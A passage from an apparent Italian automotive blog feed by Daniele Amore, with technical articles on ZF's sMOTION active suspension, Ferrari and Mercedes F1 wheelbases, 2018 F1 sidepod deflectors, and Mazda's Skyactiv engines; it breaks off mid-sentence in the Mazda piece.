<p style="text-align: justify">Il sistema concepito da ZF si dimostra innovativo anche sotto il profilo dei sensori e del collegamento in rete. I dati sulla dinamica verticale possono essere registrati direttamente all’interno delle unità degli attuatori oppure tramite sensori nel veicolo. Tali informazioni confluiscono in una centralina di comando che regola gli attuatori. L’elettronica integrata degli attuatori è asservita ad attivare motore elettrico, pompa e CDC, per produrre il minor movimento possibile della scocca. I dati trasmessi nel cloud, possono essere utilizzati per informare i veicoli che seguono o segnalare alle infrastrutture eventuali danni pericolosi sulla corsia di marcia. L&#8217;sMOTION è progettato anche per essere collegato in rete attraverso il sistema cubiX di ZF, un algoritmo di regolazione da integrare, modulare e scalabile, che coordina tutti gli attuatori attivi e semiattivi nell’automobile. In questo modo, sMOTION può agire in collegamento con il servosterzo elettrico, il sistema frenante integrato IBC, lo sterzo posteriore AKC e il sistema di trazione elettrica eVD, tutti di ZF, per il controllo completo del veicolo, avanzando il livello di sicurezza e di efficienza in vista dei futuri sviluppi che si avranno per la guida autonoma.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 20 Mar 2018 09:49:35 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il passo, in campo automobilistico la definizione canonica recita:  E' detto anche  interasse, cioè la distanza tra due assi, ed indica la distanza tra l'asse di una della ruota anteriore e l'asse della ruota posteriore posta sullo stesso lato</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2018/03/20/f1-il-passo-delle-monoposto-implicazioni-e-differenze-tra-ferrari-e-mercedes/">F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-73398" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/Wheelbase001-300x183.png" alt="Wheelbase001" width="300" height="183" title="F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes 821">Il passo, in campo automobilistico la definizione canonica recita:  E&#8217; detto anche  interasse, cioè la distanza tra due assi, ed indica la distanza tra l&#8217;asse di una della ruota anteriore e l&#8217;asse della ruota posteriore posta sullo stesso lato. Nella fattispecie si può verificare di avere monoposto a passo corto ed a passo lungo. Nel primo caso c&#8217;è il vantaggio di una maggiore agilità, soprattutto nei veloci cambi di direzione, ma cosa molto importante c&#8217;è un maggiore trasferimento di peso sulle gomme per una maggiore velocità di spostamento delle masse. Di contro un passo lungo ha come vantaggio della maggiore stabilità soprattutto nelle curve ad alta velocità e un maggiore efficacia nelle fasi di accelerazione e frenata grazie al trasferimento di carico più dolce e più controllato. Ovviamente questo anche nel momento in cui i carichi vanno a scaricarsi sulle gomme in appoggio nel momento di affrontare una curva.  Uno degli aspetti su cui ci vogliamo soffermare in questa trattazione, è quella non tanto della dimensione numerica del passo, quando su come e dove sono situati i due assi di riferimento rispetto al baricentro della vettura.</p>
<p style="text-align: justify;"><img decoding="async" class="wp-image-73399 size-full aligncenter" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/F1_Ferarri-Mercedes_2018-e1521537100470.jpg" alt="F1 Ferarri Mercedes 2018 e1521537100470" width="500" height="333" title="F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes 822" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/03/F1_Ferarri-Mercedes_2018-e1521537100470.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/03/F1_Ferarri-Mercedes_2018-e1521537100470-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" />Prima di entrare nel nocciolo della questione va fatta una premessa, che potrebbe sembrare una immensa supercazzola, ma che avrà più senso nel proseguo del discorso quanto entreremo nel vivo delle influenze che il passo ha sulla monoposto. Come hanno prodotto anche altri colleghi,  l&#8217;unico modo per determinare la dimensione del passo tra le monoposto è prendere foto simili e fare dei parallelo con grafiche di riferimento, questo non perchè non avevamo un inviato a Barcellona durante i test, ma più per altro perchè è difficile che un fotografo o un giornalista possa andare con tanto di metro a misurare il passo nei box blindati durante i test. Prendere le foto dalla pista però c&#8217;è  una difficoltà oggettiva dovuta alla diversa prospettiva che assumono le monoposto rispetto all&#8217;obiettivo anche se percorrono la stessa curva ma con lievi differenze di traiettoria. Il nostro metodo quindi ha previsto come punto di riferimento il cerchio ruota anteriore. Di misura standard 13 pollici, produce un cerchio perfetto quando è perpendicolare all&#8217;obiettivo, se invece assume un angolo di prospettiva, si avrà un ellisse, ed a seconda della dimensione di quest&#8217;ultima si può definire l&#8217;angolo di variante, cosa che consente di calcolare tutte le misure in funzione di esso, riportando di fatto come se la monoposto fosse perfettamente perpendicolare all&#8217;obiettivo. Il metodo ha un solo difetto,  la precisione dipende dalla densità dei pixel della foto di partenza che determina la precisione della misura dell&#8217;ellisse.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter wp-image-73414 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/29366423_10214337805391029_6549158659144810496_n-2.jpg" alt="29366423 10214337805391029 6549158659144810496 n 2" width="960" height="532" title="F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes 823" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/03/29366423_10214337805391029_6549158659144810496_n-2.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29366423_10214337805391029_6549158659144810496_n-2-768x426.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29366423_10214337805391029_6549158659144810496_n-2-300x166.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29366423_10214337805391029_6549158659144810496_n-2-696x386.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" />Dopo tutto sto sproloquio, abbiamo preso come riferimento il punto dove è situato il Roll-bar dietro al testa del pilota. Primo: Rappresenta uno degli elementi più standardizzati e più bloccati dal regolamento tecnico più simile per tutte le monoposto. Secondo:  E&#8217; la posizione che assume il pilota che è parte integrante per determinare il baricentro della vettura e la sua posizione in funzione della distanza dai due assi. Determinato quel punto, abbiamo preso la misura rispetto ai due assi, la cui somma determina il passo complessivo. La prima cosa che viene subito fuori è che la Mercedes ha portato a Barcellona ben due configurazioni della monoposto. Nella prima sessione dei test in pista c&#8217;era una monoposto con passo corto. Le prime conseguenze di questa scelta è venuta fuori proprio dall&#8217;usura gomme sotto stress. Per le motivazioni dette all&#8217;inizio, il peso sulle gomme posteriore non si scarica nello stesso modo di quando avviene con il passo lungo. Nella seconda sessione dei test la settimana seguente, la Mercedes ha portato il passo lungo, ma come vediamo dalla foto e dalle misure, non è stato allungato in entrambe le direzioni sui due assi, ma soltanto spostando l&#8217;asse anteriore fino a raggiungere la misura desiderata.</p>
<p style="text-align: justify;"><img decoding="async" class="wp-image-73415 size-full aligncenter" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/29388713_10214337806071046_5935422894996717568_n-1.jpg" alt="29388713 10214337806071046 5935422894996717568 n 1" width="800" height="533" title="F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes 824" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/03/29388713_10214337806071046_5935422894996717568_n-1.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29388713_10214337806071046_5935422894996717568_n-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29388713_10214337806071046_5935422894996717568_n-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29388713_10214337806071046_5935422894996717568_n-1-696x464.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" />Un dettaglio di non poca importanza. Punto primo sulla base dell&#8217;esperienza della passata stagione quando la Mercedes in difficoltà contro la Ferrari è dovuta correre ai ripari progettando un altra monoposto soltanto per il Gp di Spagna, cosa che con due tipologie di auto già dai test non dovrebbe accadere, secondo,  la Mercedes spostando solo l&#8217;asse anteriore, ha provato ad avere un bilanciamento che consente di avere una maggiore stabilità soprattutto in percorrenza ma avendo conservato la distanza dal centro vettura all&#8217;asse posteriore della versione corta gli consente di avere una maggiore agilità in fase di inserimento anche con il passo lungo. Il resto lo faranno le distribuzioni delle masse che si vanno a spostare sulla monoposto, tutte sono sotto peso,  al punto da avere zavorra da sistemare, tanto per favorire l&#8217;avantreno, tanto per tenere più peso sulle gomme posteriori, in più le prove fatte dovrebbero consentire di avere un set up idoneo anche per le gomme più morbide dove i tecnici Mercedes hanno trovato difficoltà.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter wp-image-73416 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/29495822_10214337806991069_1769757887250300928_n-1.jpg" alt="29495822 10214337806991069 1769757887250300928 n 1" width="960" height="539" title="F1: Il passo delle monoposto, implicazioni e differenze tra Ferrari e Mercedes 825" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/03/29495822_10214337806991069_1769757887250300928_n-1.jpg 960w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29495822_10214337806991069_1769757887250300928_n-1-768x431.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29495822_10214337806991069_1769757887250300928_n-1-300x168.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2018/03/29495822_10214337806991069_1769757887250300928_n-1-696x391.jpg 696w" sizes="(max-width: 960px) 100vw, 960px" />E la Ferrari? A Maranello, hanno decisamente allungato il passo rispetto alla monoposto della passata stagione. L&#8217;allungamento è avvenuto aumentando,  anche se in modo non omogeneo, la distanza dell&#8217;asse anteriore e posteriore. Molto importante vedere come la distanza tra il centro vettura e l&#8217;asse posteriore della Mercedes e della Ferrari è molto simile, che poi è la distanza che la monoposto tedesca conserva per entrambe le monoposto portate in pista, il che è un buon segno, circa il lavoro che anche la Ferrari SF71-H produce sull&#8217;asse posteriore per trazione e gestione delle gomme. Il problema però si verifica sull&#8217;asse anteriore. La Ferrari rispetto alla seconda delle Mercedes ha un asse anteriore più lungo si rispetto alla passata stagione, ma non quanto è rilevato da quello Mercedes. Si trova in mezzo alle due soluzioni adottate dai tedeschi. Il che di fatto pone alcuni interrogativi, circa la gestione dei pesi e la loro collocazione, il set up delle geometrie anteriori.  La monoposto,  con questo passo aumentato ha perso l&#8217; agilità della passata stagione e non è detto che vada a recuperare in automatico precisione in inserimento di curva senza un adeguata taratura della nuova sospensione. Da quello che si è capito dai test ci sono stati evidenti problemi di definizione del set up per la nuova monoposto, e voci dai box parlano di un Binotto nel box della Haas, che  per inciso usa lo stesso passo della Ferrari , per capire come hanno distribuito i pesi gli americani, con un telaio progettato da Dallara.</p>
<p style="text-align: justify;">In buona sostanza questa vicenda dimostra che rispetto a quanto qualcuno poteva pensare, non basta uguagliare il passo della monoposto vincente per avere le stesse prestazioni. Dipende da come e dove sposti gli assi, come questi influiscono sulla posizione del baricentro, quante masse ha a disposizione il tecnico per compensare gli spostamenti di carico sui due assi, e come l&#8217;allontanamento dell&#8217;asse anteriore che porta anche lo spostamento dell&#8217;ala anteriore faccia lavorare il flusso aria sotto il muso prima che inizia a lambire il profilo a coltello che determina l&#8217;inizio del fondo. Ad oggi non ci sono dati certi per capire se la direzione intrapresa sia corretta o vada rivista. Solo Melbourne darà il giudizio finale su chi ha avuto ragione.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 06 Mar 2018 16:07:28 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Nonostante l'aerodinamica possa sembrare una sorta di percorso obbligato che vuole tutti i team andare nella direzione di chi ha trovato la soluzione vincente, c'è una zona in particolare dove ogni team ha trovato soluzioni profondamente diverse una dall'altra ed è proprio quella che va dalla ruota anteriore alla parte iniziale dei fianchi laterali</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2018/03/06/f1-analisi-aerodinamico-monoposto/">F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-full wp-image-72766" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28906548_10214214236221877_586601581_n.jpg" alt="28906548 10214214236221877 586601581 n" width="258" height="172" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 826">Più di una volta abbiamo avuto modo di descrivere la complessità dell&#8217;aerodinamica che contraddistingue le moderne monoposto di Formula 1. Fin dal disegno dell&#8217;ala anteriore, ormai non solo con mansioni di carico aerodinamico ma diventata un vero e proprio elemento complesso che deve indirizzare l&#8217;aria al fondo e controllare di flussi e vortici davanti alle ruote anteriori. La parte inferiore del muso che fin da quando la Tyrrel nel 1999 lo sollevò per avere aria al fondo scalinato, un elemento che ricordiamo fu introdotto proprio per evitare effetto suolo, effetto che nelle monoposto attuali si verifica solo nella zona centrale con fondo di legno, per poi sfogare nel profilo estrattore posteriore. La zona centrale del fondo è proprio quella più cruciale, lo sapevano i tecnici Ferrari all&#8217;epoca vincente dal 2000 al 2005, lo sapeva Ross Brawn quando vinse con la sua monoposto nel 2009 e lo sa benissimo Adrian Newey che da anni si affanna a far lavorare bene quella zona mandando la giusta quantità di aria, alla corretta velocità, anche con angoli di Rake molto forti a scapito dell&#8217;efficienza, oppure con gli scarichi soffianti che sigillavano con aria calda il fondo come accadeva nell&#8217;epoca vincente RedBull.</p>
<p><img decoding="async" class="alignleft size-medium wp-image-72767" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28722083_10214214237221902_319961392_n-300x200.jpg" alt="28722083 10214214237221902 319961392 n" width="300" height="200" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 827">Nonostante l&#8217;aerodinamica possa sembrare una sorta di percorso obbligato che vuole tutti i team andare nella direzione di chi ha trovato la soluzione vincente, c&#8217;è una zona in particolare dove ogni team ha progettato soluzioni profondamente diverse una dall&#8217;altra e si tratta proprio quella che va dalla ruota anteriore alla parte iniziale dei fianchi laterali. L&#8217;unica zona della monoposto dove è concessa una certa libertà regolamentare nella progettazione dei deviatori di flusso. I pannelli non solo sono aumentati di numero, ma anche di forma, conformazione anche come si può notare nelle foto a lato diventata molto complessa. Il nostro obiettivo è quello di mostrare e spiegare per quanto possibile l&#8217;idea alla base di ogni singola disegno adottato.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-72768" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28829041_10214214237501909_911267705_n-300x200.jpg" alt="28829041 10214214237501909 911267705 n" width="300" height="200" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 828">Cominciamo dal team campione del mondo. La Mercedes (foto sopra 1) è quella che nella zona dei fianchi laterali è cambiata meno, si è affinata nella parte inferiore che si collega il fondo e ha rimpicciolito le prese aria. Ai lati della fiancata c&#8217;è ancora un arco che crea un tunnel per il passaggio dell&#8217;aria sulla fiancata, mentre ai lati c&#8217;è un grosso pannello deflettore diviso in due parti. In questo caso il flusso viene tenuto lineare vicino alla fiancata ma anche quello esterno viene diviso e tenuto lineare anche allontanandolo dalla scocca. Dietro al ruota anteriore c&#8217;è un piano d&#8217;appoggio per i pennelli verticali, con dei piccoli deflettori, nella parte superiore un un profilo alare dalla forma sinuosa e che tende a dividere il flussi che vanno al disopra della fiancata e quello sotto.  Infine ancora la Mercedes ha avanzato i pannelli curvi sulla parte anteriore del muso che comprimeva aria per velocizzare il flusso verso il fondo prima che questo arrivi a lambire i pannelli davanti alle fiancate.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-72769" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28741342_10214214237141900_1599635960_n-300x200.jpg" alt="28741342 10214214237141900 1599635960 n" width="300" height="200" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 829">La Ferrari ( foto sopra 2)  dal canto suo, è quella che ha la fiancata più piccola in assoluto. Questo ha comportato l&#8217;adozione di un doppio anello ai lati della side pod per tenere il flusso sotto controllo. Più distante un pannello verticale che non copre tutta l&#8217;altezza e che si va sigillare con quello che è posto ai lati del muso dietro la ruota anteriore separando di netto l&#8217;aria all&#8217;esterno della monoposto. Anche in questo caso il piano dove sono istallati i deflettori, è molto complesso, ed anche in questo caso c&#8217;è una parte superiore per dividere i flussi. Quello che si denota è la differenza netta con la Mercedes. La Ferrari deve avere più elementi per tenere il flusso attaccato alla fiancata per effetto della distanza notevole per la sua intrinseca dimensione ridotta. Sicuramente ci sarà una migliore capacità di penetrazione per la ridotta sezione frontale,  a patto di non riempire troppo la monoposto di pannelli che vanificherebbero lo sforzo di avere una fiancata piccola, ed inoltre c&#8217;e da comprendere cosa succede a bassa velocità dove il flusso aria tende a staccarsi dalla fiancata, con un pannello deviatore più lontano che potrebbe avere difficoltà a tenere sotto controllo le turbolenze.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-72775" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28833149_10214214236261878_273080887_n-300x200.jpg" alt="28833149 10214214236261878 273080887 n" width="300" height="200" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 830">La RedBull (Foto 3 -4 in alto ) è quella che più di tutte ha lavorato in quella zona. A Barcellona il team Austriaco si è presentato con due soluzioni. Una con una serie di pannelli laterali che decrescendo in altezza arriva quasi a lambire la ruota anteriore meno attaccato al muso dove si trovano le gambe del pilota. Lo scopo è chiaro.  Avere le turbolenze dettate dalla rotazione della ruota il più lontano possibile dalla fiancata. In più c&#8217;è un profilo superiore che è chiaramente curvo verso il basso per invitare l&#8217;aria che arriva a lambire il muso direttamente sulla parte inferiore della fiancata. La seconda soluzione vede una minore frequenza di pannelli, con quello più grande ricurvo verso l&#8217;interno secondo l&#8217;andamento della del side pod. Lo scopo sicuramente è quello di avere una doppia soluzione per piste lente e magari una per i tracciati veloci dove un numero di pannelli superiore potrebbe creare più drag aerodinamico di quanto carico andrebbero a recuperare. Una soluzione che si concentra sui flussi turbolenti delle ruote anteriori, comporta una grossa fiducia in quello che riesce a fare l&#8217;ala anteriore ed i pannelli posti sotto la sospensione anteriore per l&#8217;alimentazione dell&#8217;aria al fondo vettura.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-72771" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28721834_10214214237101899_764368944_n-226x300.jpg" alt="28721834 10214214237101899 764368944 n" width="226" height="300" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 831">La fantasia progettuale degli elementi in questa zona non viene trascurata dai piccoli team. Ci sono soluzioni complesse e molto fantasiose, per esempio la Williams (foto mix 5 )è l&#8217;unica ad avere un profilo alare dietro le ruote anteriori orizzontale svergolato verso l&#8217;alto, mentre altri due team come la Renault e la Haas hanno adottato due filosofie diverse ma probabilmente con lo stesso scopo. La Renault oltre ad avere i soliti pannelli, sul piano in basso che li sostiene,  ha una serie di feritoie che hanno lo stesso andamento del piano. Una soluzione molto simile a quello che si sfrutta quando si aprono aperture davanti alle ruote posteriori per scaricare i vortici, in questo caso quelli da raddrizzare sono i flussi dietro alle ruote anteriori per essere portati sotto il fondo vettura. La Haas invece è l&#8217;unica che ha il pannello laterale allo spigolo della fiancata composto da una serie di profili alari posto uno sopra l&#8217;altro, multiplano,  che accelera il flusso aria verso l&#8217;esterno tentando di avere anche una certa efficienza dal punto di vista del carico, come se si volesse in modo consistente svuotare la parte di aria che lambisce il bordo anteriore delle fiancate. Particolare anche la soluzione scelta dalla Sauber, con tre piccoli pennelli di forma apparentemente irregolare sullo spigolo della fiancata ma con tre profili alari orizzontali due davanti alla presa aria ed uno nella parte superiore che hanno lo scopo di tenere più lineare possibile il flusso aria, sopra la fiancata dove si trova una seconda presa aria, in particolare la forma e l&#8217;andamento dei piccoli pannelli laterali sembrano letteralmente disegnati secondo le turbolenze che ognuno di essi singolarmente deve affrontare.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-72773" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28741077_10214214237741915_63644911_n-300x200.jpg" alt="28741077 10214214237741915 63644911 n" width="300" height="200" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 832">In un marasma si soluzioni particolari, fanno specie tre team che apparentemente sono stati più conservatori. La Toro Rosso con un pannelli classico, molto piccolo e che riprende la sagoma della parte bassa della fiancata, come se i tecnici di Faenza avessero già tanta aria sotto la monoposto da preoccuparsi meno di quello che succede ai lati, la Force India che ha conservato soluzioni di evoluzione della monoposto della passata stagione. La monoposto indiana è da sempre una di quelle che hanno una migliore efficienza ad alta velocità,  ed ultima ma non ultima, la McLaren. Il team di Wiking ha anch&#8217;essa un piccolo pannello laterale ma si distingue per avere una sorta di tunnel fatto di carbonio nella zona dietro le ruote anteriori, e soprattutto si vede una parte bassa della lama che rappresenta l&#8217;inizio del fondo piatto con tanto di elemento di collegamento al muso. Una soluzione molto originale e che merita di essere approfondita nelle prossime trattazioni tecniche.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-72774" src="https://www.giornalemotori.com/wp-content/uploads//2018/03/28907655_10214214237301904_604901421_n-300x200.jpg" alt="28907655 10214214237301904 604901421 n" width="300" height="200" title="F1 Analisi Aerodinamica: La diversità dei deflettori laterali sulle monoposto 2018 833">In definitiva ogni team ha compreso che oltre al carico aerodinamico, ormai una delle cose più importanti è l&#8217;efficienza. La capacità di avere pressione verso il basso senza avere la resistenza che l&#8217;aria offre quando viene a contatto con la vettura. La monoposto deve avere tanto carico alle basse velocità, mentre deve scorrere il più fluidamente possibile alle alte velocità non solo per avere prestazioni ma anche minori consumi. Per chi sostiene che queste siano soluzioni copiate dalla Mercedes che le aveva adottate per far si che i competitors avessero problemi stando in scia, ricordiamo che questo è un male che si aveva anche nel 2008 quando le monoposto avevano una serie di appendici, pinne, ciminiere e chi più ne ha e più ne metteva per avere carico aerodinamico sulla carrozzeria visto che il fondo era limitato.</p>
<p>[amazon_link asins=&#8217;B074QVTHH7,8873819435,B01GRXUEEA&#8217; template=&#8217;CopyOf-ProductCarousel&#8217; store=&#8217;giornal-21&#8242; marketplace=&#8217;IT&#8217; link_id=&#8221;]</p>
<p style="text-align: justify;">Quindi la Mercedes non ha deliberatamente danneggiato chi seguiva in scia ma è soltanto un effetto collaterale che tutte le monoposto avevano e che avranno questa stagione. Unica eccezione la Ferrari SF70H.  Nelle prime sei gare della stagione grazie al fondo deformabile, sigillava il flusso aria sotto la monoposto e quindi permetteva a Vettel di stare in scia con Hamilton anche in tracciati difficili come Melbourne, dove vinceva,  cosa che è andata persa nel momento in cui sotto la protesta RedBull il fondo è stato bloccato, ed i guai per Ferrari sono cominciati con il recupero contemporaneo della Mercedes.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Mazda &#124; La nuova generazione di motori Skyactiv benzina e diesel</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 17 Feb 2018 07:01:38 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La Mazda ha aggiornato il suo SUV medio la CX-5 con la nuova generazione di motorizzazioni Skyactiv, un propulsore che farà il suo debutto in Europa per il Salone di Ginevra. Due le versioni Skyactiv-G, 2.0 litri e 2.5 litri, e Skyactiv-D 2.2 litri diesel.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="aligncenter size-medium wp-image-72333" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-g_01-300x199.png" alt="skyactiv g 01" width="300" height="199" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 834" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-g_01-300x199.png 300w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-g_01.png 480w" sizes="(max-width: 300px) 100vw, 300px" />La Mazda ha aggiornato il suo SUV medio la CX-5 con la nuova generazione di motorizzazioni Skyactiv, un propulsore che farà il suo debutto in Europa per il Salone di Ginevra. Due le versioni Skyactiv-G, 2.0 litri e 2.5 litri, e Skyactiv-D 2.2 litri diesel. Oltre alle nuove motorizzazioni la CX-5 approfitterà per un aggiornamento delle componenti  con l&#8217;adozione di un nuovi sistema di telecamere, ed il portellone elettrico oltre a nuove finiture per gli arredi dell&#8217;abitacolo.</p>
<p style="text-align: justify"><strong>Skiactiv-G Benzina</strong></p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-72334" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-g_03_en.png" alt="skyactiv g 03 en" width="245" height="186" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 835">Si tratta del primo propulsore a benzina al mondo che riesce a raggiungere un rapporto di compressione di 14:1. Negli attuali motori a benzina, anche quelli più evoluti non si riesce ad avere un rapporto di compressione migliore di 12:1 con una media di 10:1. Avere un rapporto di compressione più alto migliora in modo considerevole l&#8217;efficienza termica fino al 9%,. Il motivo per cui i progettisti non vanno oltre certi valori per il rapporto di compressione non è per limiti tecnologici, ma per il semplice fatto che in genere ci sono effetti collaterali nocivi come la perdita di coppia ed il sopraggiungere del fenomeno di battito in testa fenomeno dovuto all&#8217;accensione spontanea della miscela di carburante. I tecnici della Mazda sono intervenuti sulla controllo della temperatura sfruttando la quantità di gas di scarico residui che restano in camera di combustione al momento della chiusura della valvola. l passaggio dall&#8217;8% al 4% della gas residuo, consente di abbassare la temperatura in camera di combustione al momento di immettere nuova miscela portandola ad un valore analogo per un rapporto di compressione canonico di 10:1, che corrisponde a 750°, impedendo di fatto il battito in testa sfruttando appieno il vantaggio del rapporto di compressione più elevato.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-72335" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-g_04_en-300x189.png" alt="skyactiv g 04 en" width="300" height="189" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 836" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-g_04_en-300x189.png 300w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-g_04_en.png 410w" sizes="(max-width: 300px) 100vw, 300px" />Il modo trovato dai tecnici giapponesi per controllare la percentuale di gas di scarico residui, passa attraverso la progettazione di un collettore disegnato 4-2-1 più lungo. In questo modo quando il cilindro tre apre la valvola di scarico per fa evacuare i gas, la parte che tende e rientrare nel cilindro connesso, cosa che avviene anche in un collettore più corto dove percorrere un tratto di lunghezza maggiore, in questo modo arriverà nel cilindro in quantità ridotta. Con un condotto di scarico lungo 600mm, si è riusciti a limitare anche la perdita di coppia tipica di un motore ad alto rapporto di compressione, ovviamente per motivi di spazio il collettore non è di forma lineare come si vede in figura ma adotta una forma ad anello.  Un percorso maggiore, porta  ad un inevitabile raffreddamento dei gas di scarico prima che questi raggiungano il catalizzatore, impedendo a quest&#8217;ultimo di lavorare in modo ottimale. Per evitare questo problema la temperatura dei gas di scarico viene aumentata ritardando i tempi di accensione della miscela in fase di combustione.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-72336" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-g_05-300x194.jpg" alt="skyactiv g 05" width="300" height="194" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 837" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-g_05-300x194.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-g_05.jpg 318w" sizes="(max-width: 300px) 100vw, 300px" />Lo studio attendo della fase di combustione da parte dei tecnici giapponesi ha consentito di ottenere una combustione omogenea grazie ad una cavità ricavata sul cielo del pistone, sfruttando l&#8217;ottimizzazione dei tempi di iniezione tenendo la miscela raccolta più vicino alla candela. La camera ricavata sul cielo del pistone ha anche permesso di migliorare le condizioni di lavoro per la testa, con un controllo della propagazione della fiamma che va lambire la parte interessata. Infine una combustione più rapida, grazie all&#8217;utilizzo di iniettori multi-foro, polverizzano e aumentano la pressione della benzina, bruciando tutta la miscela anticipando il sopraggiungere  dell&#8217;effetto del battito in testa.</p>
<p style="text-align: justify"><strong>Skyactiv-D</strong></p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-72337" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-d_03_en-300x175.png" alt="skyactiv d 03 en" width="300" height="175" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 838" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_03_en-300x175.png 300w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_03_en.png 337w" sizes="(max-width: 300px) 100vw, 300px" />Per la progettazione delle motorizzazioni diesel, i tecnici giapponesi hanno posto particolare attenzione all&#8217;annoso problema del controllo degli NOx, ovvero gli ossidi di azoto, le fantomatiche polveri sottili. Questi si formano come conseguenza dell&#8217;accensione spontanea che avviene nella camera di combustione per effetto dell&#8217;alta pressione e temperatura a cui trova l&#8217;aria quando il gasolio viene iniettatonel cilindro.  La soluzione Mazda è quella di ritardare l&#8217;iniezione del gasolio fino a che il pistone non ricomincia a scendere dal punto morto superiore, in questo modo la temperatura e la pressione nel cilindro si abbassano, e la combustione genera meno NOx, un vantaggio che va a scapito dell&#8217;efficienza consumando 